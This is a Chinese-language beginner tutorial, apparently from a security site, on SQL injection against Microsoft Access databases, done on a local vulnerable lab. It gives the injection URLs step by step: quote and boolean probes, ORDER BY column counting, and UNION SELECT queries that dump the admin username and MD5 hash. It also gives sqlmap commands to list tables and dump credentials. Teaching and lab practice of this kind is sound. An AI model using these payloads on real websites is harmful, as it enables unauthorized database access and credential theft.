access数据库简单介绍

先来介绍一下这个数据库，Microsoft Office Access，Microsoft Office Access是由微软发布的关系数据库管理系统。它结合了 MicrosoftJet Database Engine 和 图形用户界面两项特点，是 Microsoft Office 的系统程序之一。

优势：提高速度和减少代码量

缺点：当数据库过大时，一般达到100M左右性能就会开始慢慢下降了（比如访问人数过多，过度消耗服务器资源），安全性能差。

适合人群：小白，初学者了解sql注入，编程人员 （大佬勿喷）

首先是sql注入产生的条件：

1.参数的传递

2.参数值可以带入到数据库

我们这里本地搭建了一个漏洞平台（漏洞源码会附在下面链接的）

第一步 找注入点

我这注入点是 http://localhost:58031/Production/PRODUCT_DETAIL.asp?id=1139

先用 ' 单引号报错 如果报错了说明有注入点的可能性

再用

and 1=1 返回正常

and 1=2 返回不正常

返回正常 http://localhost:58031/Production/PRODUCT_DETAIL.asp?id=1139 and 1=1

返回不正常 http://localhost:58031/Production/PRODUCT_DETAIL.asp?id=1139 and 1=2

第二步 我们再来判断一下它的数据类型

and (select count(*) from sysobjects)>0  判断sql server

and (select count(*) from msysobjects)>0 判断access数据库 返回不够权限就是access数据库了

我这里判断的是 access数据库

第三步 用order by 判断字段数量

http://localhost:58031/Production/PRODUCT_DETAIL.asp?id=1139 order by 30

我们这里使用折中猜解法，这里30返回报错，那我们继续下去

这里猜的是22个字段数量

那我们接着继续下去

第四步 联合查询

两条语句

union select 长度 from 表

union select 列名 from  表   

首先我们长度是22

那我们构成语句

http://localhost:58031/Production/PRODUCT_DETAIL.asp?id=1139 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from 表名

这里表名我们就慢慢自己构造 直到出数据所在字段了

常用的表名

admin、a_admin、x_admin、m_admin、adminuser、adminstrator...

我这里猜测的表名是 admin 爆出来了

这里出来的两个字段 3,15 我们继续猜测列名

常用的列名

admin，password,username、admin_name、name、admin_userid、admin_id

我们就猜最常见的吧

http://localhost:58031/Production/PRODUCT_DETAIL.asp?id=1139 union select 1,2,admin,4,5,6,7,8,9,10,11,12,13,14,password,16,17,18,19,20,21,22 from admin

admin放3字段位置上，password放在15字段位置上

ok账号密码都出来了

admin  a48e190fafc257d3

密码是MD5加密了  我们拿到解密网站解密一下

最后解开的密码就是bendss

所以账号是 admin  密码是 bendss

sqlmap(access数据库注入)工具篇

 先用 sqlmap.py -u "URL"  看看是否能注入

sqlmap.py -u "http://localhost:58031/Production/PRODUCT_DETAIL.asp?id=1139"

ok,这里返回了 DBMS 'microsoft access'   也就是 access 数据库，也没报红，说明可以注入

我们先来猜猜它的数据库表名吧

语句

sqlmap.py -u "url" --tables

sqlmap.py -u "http://localhost:58031/Production/PRODUCT_DETAIL.asp?id=1139" --tables

ok,这里表名有 admin  admin_login email guestbook job news product

我们再来猜解下admin表里的字段

我们这里 需要的字段 就admin 跟 password

继续往下猜解这两个字段里的数据

语句

sqlmap.py -u "url" --dump -T 表名 -C "字段名"

sqlmap.py -u "http://localhost:58031/Production/PRODUCT_DETAIL.asp?id=1139" --dump -T admin -C "admin,password"

数据也出来了 ok上面 解密过了 就不再解了

慢慢了解sql注入， 从最简单的数据库开始

*本文原创作者：辰小白   转载请注明来源于华盟网源及作者